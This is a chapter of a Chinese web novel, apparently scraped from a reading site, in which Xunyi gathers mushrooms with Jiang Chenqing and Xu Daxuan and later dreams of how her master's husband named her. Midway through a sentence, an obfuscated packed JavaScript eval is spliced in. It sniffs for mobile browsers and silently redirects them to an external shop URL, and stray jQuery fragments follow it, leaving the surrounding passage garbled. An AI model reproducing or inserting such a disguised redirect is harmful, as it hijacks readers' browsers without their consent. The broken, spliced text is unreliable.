文趣网 > 其他小说 > 大师兄竟成了我的忠仆 > 7. 故梦
    “什么土豆块?”寻意瞪圆了眼,气道,“傻子!哪有土豆块在天上的?那分明是月亮!”

    “我都这样提示你了,你还不明白?”寻意以手扇风,“气死我了!”

    他江尘清失忆,难道连脑子都一起失掉了吗?

    “在我看来,它不像月亮,连说像土豆块也都勉强。”江尘清皱眉道。

    寻意气得说不出话来,狠狠地瞪了他一眼,转身就走。

    江尘清连忙跟上,可不料寻意突然回头,幸好他及时刹住,才避免撞到她身上。

    寻意嚷道:“你以为你的筐编得很好吗?哼,一点也不好,一点都不像筐,像,像……”她一时语塞。

    江尘清看着她恼怒的脸上流露出困惑的眼神,再也忍不住,垂头轻笑一声

    寻意更是恼怒:“什么都像,就是不像筐,哼!”

    “哼哼!”

    寻意大步流星向前走去,江尘清笑得双肩抖动,快步跟上。

    *

    寻意伸了个懒腰,向远望去,山峰连绵起伏,像是一层层绿色的波浪,让人心情舒畅。

    “喂,别溜号啊!”徐大轩拽着她衣摆喊道,好不容易请来的师父,寻意乖乖蹲下去听讲解。

    “这是红菇,适合拿来炖鸡。”徐大轩说道,他伸手拍拍菌盖,摘下蘑菇。

    “为什么要先拍一拍?”认真的江学徒发问。

    “因为……”徐大轩刚说两个字,就被寻意打断。

    “因为蘑菇在睡觉啊!”像是阳光落在水面上,她的眼眸波光粼粼,“如果你冷不丁直接摘,吓到蘑菇,会影响它的味道。若你事先拍拍它,就是温柔地对它说:‘醒一醒,小蘑菇,你要被摘走啦。’这时候再动手,它就不会受惊。”

    “哦。”江尘清点点头,他蹲下身子拍拍其他红菇,余光扫见寻意和徐大轩对着偷笑。

    江尘清揪起红菇,弯了嘴角。

    一旁徐大轩对寻意说道:“上次我给你拿的黄芪,你煮汤了没有?”

    寻意支支吾吾说不出。徐大轩又道:“瞧你,才走多远就一脑门子汗。”

    江尘清闻言回头,只见徐大轩提起袖子,正要为寻意拭汗,他若有所思地望着二人。

    寻意微微向后避开,抬手擦汗:“今天有点热。”

    “你不必再给我送药材了,我好了,慢慢养着就是。何况现在有小栓子帮我,我能多歇歇。”

    “你采药材那么辛苦,本来都能拿去换钱的,白白给了我,多可惜啊。”

    “这有什么可惜的?若是能让你身体彻底好了,它们就立了大功。”

    寻意还要说什么,徐大轩抢在前面:“听我的,你尽管用便是,我心里都有数。”

    “你不用担心我娘知道不高兴,她不知道有这些,也不用你偷偷拿钱来补,你手里能有几个子?

    “这我怎么安心……”寻意愁眉苦脸。

    “你若非得报答我,不如……”徐大轩摸摸后脑勺,“不如送我个小礼物,你亲手做的那种。”

    寻意像被点醒了似的,追问道:“大轩,如果我送个包给你,你想要上面绣的是竹子,还是你的名字?”

    “名字。”徐大轩想也不想就回答道,他有些惊讶,“你会刺绣吗?”

    “我会啊!”寻意连忙从怀里拿出昨天那块碎布,“你瞧瞧我绣的月亮。”

    徐大轩盯着那碎布上的黄色图案看了一会,点头道:“有……有那么一点意思。”

    寻意眼睛霍地点亮,激动道:“你再说一遍。”

    徐大轩吓了一跳:“有有有点意思。”

    寻意得意的目光射过来,江尘清抿抿唇,挤出一丁点笑意。她一扬下巴,那意思再明显不过了。

    “你瞧瞧人家。”

    几人四散开来,分头采摘蘑菇。

    徐大轩见寻意在远处,便凑到江尘清身旁,压低声音问:“喂,小栓子,你可瞧见过你主人缝的月亮吗?”

    “怎么?”

    “阿弥陀佛,”他声音里满是庆幸,“幸好我刚才选的是名字。”

    *

    下山时,鞋子里都是山上的露水,每一步都像踩进水坑里,仔细听,就能听到噗叽的声音。

    寻意气喘吁吁:“大轩,还有多久到?”

    “快了,就快到了。”徐大轩的声音从前面远远传来,他兴致冲冲,“我早就想带你来这了,但你之前总是病恹恹的,没有力气不愿意走动。好不容易今日有兴致出来玩,我一定要带你瞧瞧。”

    寻意立定,叹了口气,背上的筐压得她直不起腰。她微微弯腰喘口气,没想到重心一歪,“哗啦”一声,背篓里的蘑菇蕨菜将要从里面撒下来,下一场野菜雨。

    “啊!”寻意双手去挡,还好有人在她身后眼疾手快扶稳了背篓。

    “当心!”江尘清道。

    “好险,蕨菜还不要紧,蘑菇一摔可就碎了。”寻意心有余悸地拍着胸口。

    江尘清道:“把筐卸下来给我。”

    你背后的筐里都是满的,怎么拿得动?没事,我慢慢走就是。寻意正要迈步,却被他拉住胳膊。

    “别逞强,给我吧,我提着。”

    寻意不肯,江尘清不由分说,一把扯下她肩上的背带,将其中一边挎到自己的肩上,“走。”

    “你们干嘛呢?”徐大轩冒出来,他见眼前情状,瞬间明白了,问寻意,“你还好吗?要不我背你走?”

    “不用不用,”寻意忙摆手,“我什么都不拿,还要人背,那真是废物了。”

    徐大轩扶住寻意胳膊:“你要是坚持不住就说,可别勉强。”

    寻意答应着,她回头望向江尘清,见他背着两个筐,步伐明显沉重许多。

    江尘清对上她的目光,读懂她的担忧,江他略一点头,示意她放心。

    这回徐大轩也放缓脚步,随着山路渐缓,淙淙的水流声愈发清晰。

    当一条清浅溪水最终展现在面前时,众人的精神为之一振。

    徐大轩的话里透着几分骄傲:“阿寻,我之前一到这,就想起你跟我提过老家的溪水,你瞧瞧像不像?”

    “像,太像了!”寻意环顾着周遭,惊喜道。

    “我就知道你喜欢。”

    寻意指着一边兴奋道:“对,就是这样,从前我们就住在那,只要走几步就能到小溪!”

    “我最喜欢在溪里捉鱼,一开始怎么都捉不到,明明就在那个地方,可一动手它们就溜走了。”

    “师公看我怎么都捉不到,只是笑。他随意撒下一把针,就把那些鱼全钉住了。”

    “你师公这么厉害?”

    “是啊,他可厉害了,他什么都会。他还说要把这‘落英缤纷’的暗器功夫教给我,问我想不想学,我却因为他方才笑我而生气,说道‘我师父有那么多精妙的功夫,我才不稀罕呢

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818680|211093||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !’”

    “唉!”寻意一声叹息,“我对他们总是没大没小!”

    “可惜啊,你要是学会这功夫,待会我们抓鱼就不费力了。”徐大轩笑道,他挽起袖子,摸出火折子,递给寻意,“你拾些柴,把火生了,一会我们烤鱼吃。”

    他回头冲着默默注视着一切的江尘清喊道:“小栓子,快下来抓鱼!”

    在山里拾柴是极容易的事。

    寻意将枯枝拢作一堆,取出火折子,引燃细枝,火苗便慢慢腾起来,越燃越旺,暖融融的,像是被一个暖和的毛毯包围住。

    寻意疲惫至极,守着火堆慢慢睡着了。梦里的她身上也是暖的,身上覆着一件比她大许多的衣服。

    她的手那么小,被另外一个人握在手心,那人的身上温暖不断传来,驱散她身上的疲惫与寒冷。

    她心里很清楚那是谁,也很清楚这是什么时候,这便是师父洛真,她要带自己回家。

    走出茫茫迷雾,他们的家越来越清晰,溪水不绝于耳,像檐间的风铃。是的,未来师公会为他做一个木质的风铃,它会叮叮咚咚地响。

    这是第一次见到师公,他瘦得像是那手里的拐杖,面色苍白,眉目清秀温雅,周身萦绕着浑然天成的华贵气韵,任谁也不会想到,他就会是江湖上令人闻之色变的魔头,柳逸之。

    他温和地笑着:“你叫什么名字?”

    “三丫。”

    “难道还有大丫和二丫不成?”他挑眉问道。

    “没有大丫和二丫,只有五丫和六丫。我是最便宜的,他们都比我贵。”

    他脸上的神色变了,蹙起眉头:“这名字不好,改了吧。”

    他皱眉也像画上的人一样好看,寻意呆呆地望着他,忽地,他展眉一笑:“叫‘寻意’怎么样?”

    “‘幽意无断绝,此去随所偶。’正是我与你师父的毕生所愿。”

    寻意仰头去看师父,她点点头。可寻意根本不明白师公说的是什么意思,她不想显得自己不懂,点点头道:“这是个好名字,我喜欢。”

    师公笑了笑:“你知道你的新名字是哪两个字吗?”

    寻意摇头,她怎么会知道呢?别说是哪两个字了,她一个字都不认识。

    师公提起拐杖,一笔一画在地上写下“寻意”二字,分别指着两个字念道:“寻意。”

    “寻意。”她跟着念了一遍,听师公继续道:“寻觅的‘寻’,意味的‘意’。”

    寻意抬头望着师公:“那我是在寻找什么意味呢?”

    他的手覆上自己的脑袋,与师父的手不同,他的手心冰凉。他叹道:“这得由你自己去寻找。”

    她蹲下来,盯着那两个字上下左右地看,费劲心力想找出这是什么意味,却一点想法都没有。看得久了,寻也不像寻,意也不像意。

    不知是不是盯得太久头昏,这两个字旋转起来,快得让人看不清,变成一团幻影,要带着她新获得的一切远走高飞……

    头上被轻轻拍了两下,极轻的,极柔的。

    “醒醒。”

    “嗯?”寻意睁开睡眼,脑袋还迷迷糊糊,却见眼前人竟然是大师兄。

    奇怪,他怎么对着我笑?还笑得那样温柔?

    他不是讨厌我吗?

    “小寻意,醒一醒。”

    寻意神色怔忡,呆呆地望着他,只见他微微一笑:“再不醒来,你就要被摘走了。”